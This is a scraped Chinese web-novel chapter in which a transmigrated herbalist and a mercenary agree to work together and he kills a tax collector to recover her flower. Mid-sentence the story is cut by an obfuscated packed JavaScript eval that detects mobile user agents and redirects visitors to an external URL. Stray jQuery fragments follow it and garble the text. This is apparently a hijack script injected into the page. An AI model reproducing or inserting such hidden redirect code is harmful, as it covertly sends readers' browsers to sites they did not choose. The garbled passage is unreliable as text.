默认冷灰
24号文字
方正启体

4. 第四章

作者:瑶fafa本书字数:K更新时间:
    入眼是石头砌的墙,铁质的烛台,厚重的窗帘遮住了外面的光,空气里散发出淡淡的霉味。


    不是她的小屋。


    格林慢慢坐起来,感受到新一阵的疼痛。


    肩膀上的伤口被重新包扎过了,白色的绷带缠得整整齐齐,比她自己的手艺好多了。


    格林掀开被子下床,拉开窗帘,光线快速刺进来,她只能等适应了才往外看。


    外面是片废墟。


    断壁残垣,杂草丛生,倒塌的石柱和破碎的雕像散落各处。


    这是哪儿?


    脑海里慢慢浮现出片段——雷恩站在她面前,手里拿着那枚催眠水晶。


    格林皱起眉,她好像记得自己说了来自地球,说了真正的格林被烧死了,说了他是坏蛋。


    女生脸色白了白。


    雷恩走进来,手里拿着块面包递给格林。


    面包烤得焦黄,表面撒着几粒芝麻,还冒着微微的热气。


    “雷恩·克罗夫特。”格林开口,眼眸里没有了平时的笑意,“你是从什么时候开始怀疑我的?”


    屋里安静下来。


    哪怕沉稳如雷恩此刻也不得不忽视这份,压抑,他沉默片刻后给出答案,“你第一次说话的时候。”


    格林唇角微扬,“所以这些天你都是在试探我?”


    雷恩不明白,他在战场杀伐果断,但碰见格林却不同,主导权直接到了对方手中。


    “是又如何?你表面不露破绽,内心还不是害怕。”


    格林不解,“那你为什么没杀我?”


    “因为你把刀放在床边。”


    格林愣住了。


    刀?


    她想起那天早上他醒来的时候,那柄短刀就放在桌上,坦坦荡荡,触手可及。


    “就因为这个?”


    “你知不知道,你是我见过的第一个,敢把刀放在我触手可及的地方的人。”


    雷恩往前走了一步。


    “我见过无数人,跪在面前求饶,躲在背后捅刀,有人笑着骗我,有人哭着求我。”他声音低沉,“但从来没有人,敢把刀放在我面前。”


    格林的心跳漏了一拍。


    小说中描写的雷恩·克罗夫特是星海大陆顶尖的雇佣兵,手中短刃收割过无数权贵的秘密。


    这样常年在黑暗中行走,不敢轻易交付软肋的人是需要对方先给予信任的。


    “雷恩·克罗夫特,你现在还想杀我吗?”


    “不想。”


    格林眨眨眼,“为什么?”


    “你是特别的,第一个让我觉得活着还挺有意思的人。”


    现在的格林没害他,那便属于可以同行的人,漫漫重生之路倒也不会乏味了。


    格林懊恼,当时想着先把实验做完再看,没成想会穿书,导致后续的剧情一概不知。


    对于雷恩,小说中提及他是北方边境德拉贡领地最后的合法继承人,穷极一生都在寻找家族被覆灭的真相。


    她认真思考过了,书里描写的雷恩冷漠疏离,杀伐果断,如果他真能放过她,日后应该也不会对她痛下杀手。


    女生抿唇,下定决心道,“我们合作吧,你想报仇,我想活着,在我不清楚怎么回我的世界前,我帮你查你想知道的真相。”


    见少年垂眸不语,格林试探着提醒,“成交?”


    雷恩微抬起脸,琥珀色的瞳仁盛着浅淡的金,长睫轻颤。


    “……成交。”


    格林两三口吞完那块面包,噎得直翻白眼,灌了半碗水才缓过来。


    雷恩已经收拾好了行囊,准备出发的时候格林突然停了下来。


    雷恩意识到人没跟上,转身询问,“怎么了?”


    “我得回去带点东西。”


    雷恩的目光落在她身上,示意她接着说。


    “格林父亲的笔记和装置。”


    格温多琳说过格林的父亲达里安·罗斯伍德作为天赋异禀的魔药师,一生从事草药研究。


    在星海大陆,魔药师是作为比魔法师更高阶的存在,意味着不仅要掌握基础魔法知识,更得精通药理学。


    如今既然决定前往王都,那么提取药剂工具必须拿上以备不时之需。


    格林走在前面,雷恩跟在后面,两人绕过山坳,远远能够看见小屋。


    就在格林打算过去时,雷恩瞥见屋内异常及时拦下了她。


    巴尔克腰间挎着佩剑,大摇大摆自内走出来,两名税吏抱着那盆星脉紫罗兰装上了车。


    “大人,这么做万一那个谁回来看见了怎么办?”


    “怕什么!我们背靠的可是王室税务局,这个小丫头片子要找去找王室啊,谁理她。”


    “要抢回来吗?”雷恩的眼神很平静,“抢回来不难,你开口,我就动手。”


    格林短暂愣住后莞尔,“那需要付定金吗?”


    毕竟让雇佣兵执行任务需要支付报酬。


    “没有高风险,用不着。”雷恩摇头,手已经按上了腰间的刀柄。


    这人……说动手就动手的。


    巴尔克还在院子里转悠,那辆马车已经装满了,就停在篱笆外面。


    “别去。”格林出声制止,“他说的没错,永恒自由森林城的税务局背靠王室,杀了他还会有新的税务官来,甚至惊动王室的军队。”


    雷恩的眉头皱得更紧了,“你不是很在意这花?”


    “啊?”


    “不是死活不给他?”


    格林这才意识到他指的是昨天巴尔克来时候的事。


    格林小屋旁的花园有棚,这个位置望过去花草一览无余。


    “你当时没走?”格林内心紧了紧,原来雷恩一直有在暗暗关注她。


    而她竟没有察觉。


    等巴尔克走后,两人进了屋。


    院子里一片狼藉,她精心照料的花草被连根拔起,随意扔在地上,根须已经干了,叶子蔫得卷起来,边缘开始发黄。


    格林试着把它扶正想塞回土里,但那根须太脆了,轻轻一碰就断截。


    格林小时候养过一盆小雏菊,因为学校布置的观察日记,每天看植物长了多少,每天记在本子上。


    刚开始小雏菊长得可好了,发芽长叶抽茎,一天一个样。


    格林放学第一件事就是跑去看它,拿尺子量长了多高,用笔画下叶子的形状。


    可孩童时期玩耍的念头占据了上风,等几天想起来的时候,那盆小雏菊已经蔫了。


    叶子全耷拉下来,花苞还没开就干了,格林拼命浇水,把它搬到阳台上晒太阳,抱着它跟它道歉也没用。


    那是她第一次见识到生命的脆弱。


    格林哭了好久,哪怕妈妈说再买一盆,她说不要,把自己关在房间里,把那盆死掉的小雏菊放在窗台上,每天都会看会。


    从那以后,格林养的所有植物都没有再死过。


    她要求自己做一个爱惜花草珍视生命的人,所以对于这类恶性尤为厌弃。


    夕阳沉下去,天边泛起深橘色的暮霭。


    此时刚收拾好院子,两人决定明日出发。


    格林躺在床上睡不着,于是起身翻看达里安·罗斯伍德的藏书。


    说起来,这位老学者和她是同行,都对植


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370810|199892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    物有着深入的研究,关于击退巴尔克的夜香花就是在这里看见的。


    笔记的后面记录着更多植物,止血藤、银叶草、月光苔、霜降花……每一种都有详细的描述,种植方法,药性分析和提取工艺。


    格林一页一页看着,忘记了时间。


    油灯的灯芯烧短了一截,她的眼皮也开始发沉,不知不觉昏睡过去。


    女生睡着时柔和安静,呼吸均匀绵长,雷恩垂眸替她轻轻擦去小脸上的灰。


    过了很久,他慢慢抬起手,把笔记从她手里抽出来放在一边,并拿枕头代替,防止手腕硌红,然后把毯子披在她身上。


    做完这一切,少年转身融进夜色里。


    月光很亮,雷恩脚步很快,却几乎没有声音。


    他最熟悉的事——在夜色里潜行,在暗处出没,在无人知晓的时候做无人知晓的事。


    雷恩的嘴角微微抿紧。


    站在楼房阴影处观察了一会儿,屋里亮着灯,隐约传来人声和笑声,大概是巴尔克一伙人在喝酒庆祝。


    雷恩扫过四周,两名税吏靠在院门口打盹,佩剑歪在一边,屋里还有几个人。


    他悄无声息靠近马车。


    “谁!?”身后传来一声厉喝。


    巴尔克站在屋门口,手里提着盏灯,脸上的醉意还没散去。


    灯照亮了雷恩的脸,巴尔克愣了愣随即语气轻蔑,“好大的胆子,敢来税务局偷东西。”


    身后跟着涌出来五名税吏,巴尔克慢悠悠耸肩,“把花放下,我可以考虑让你死得痛快点。”


    “花不是你的。”


    巴尔克哈哈大笑,“看来是那小园丁雇来的小偷啊,业务不精还暴露了自己,明天让格林准备准备收尸吧,哦不对,你会比她先上路。”


    税吏拔剑冲上来。


    剑光刺到面前的瞬间,他微微侧身。


    雷恩抬手,剑刺空时同时握住对方手腕轻轻一拧。


    咔嚓。


    骨头断裂的声音。


    税吏惨叫一声,剑脱手落地,雷恩接住那把剑,反手挥去,第二个冲上来的人捂着喉咙倒下去。


    他的动作太快了,快到巴尔克还没反应过来,已经倒下了三个。


    巴尔克的笑容终于僵在脸上,年轻人站在月光里,怀里还抱着那盆花,另一只手握着滴血的剑。


    剩下的两个税吏围着他,却没人敢再上前。


    琥珀色的眼睛在月光下显得格外冷,他的身影一闪,直逼巴尔克面前。


    巴尔克的佩剑才拔出一半,就脱手飞了出去。


    下一刻,冰冷的剑刃贴上了他的喉咙。


    “你……你知道我是谁吗?”男人的声音在抖,“我是税务官!隶属王室税务局的人!你杀了我,王室不会放过你——”


    剑刃往前送了一寸,血渗出来。


    两名税吏见状直接叫喊着跑出去,巴尔克的腿软了,整个人往下滑,被剑抵着喉咙,动不了。


    “求……求你……”他的声音已经完全变了调,“别杀我,我把花还你……你要什么我都给……”


    话音未落,巴尔克瞪大眼睛,慢慢倒下去。


    雷恩回到屋里,格林睡得很香,毯子滑下来,露出半边肩膀。


    雷恩走过去,把花盆轻轻放在她旁边,接着滑落的毯子重新盖好。


    格林动了动,嘟囔了一句什么,没醒。


    银色的叶脉闪光,雷恩想,明天早上格林醒过来看见这盆花会是什么表情。


    她大概会愣住,然后笑起来,眼睛弯成两道月牙,亮晶晶的。


    雷恩扬起唇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)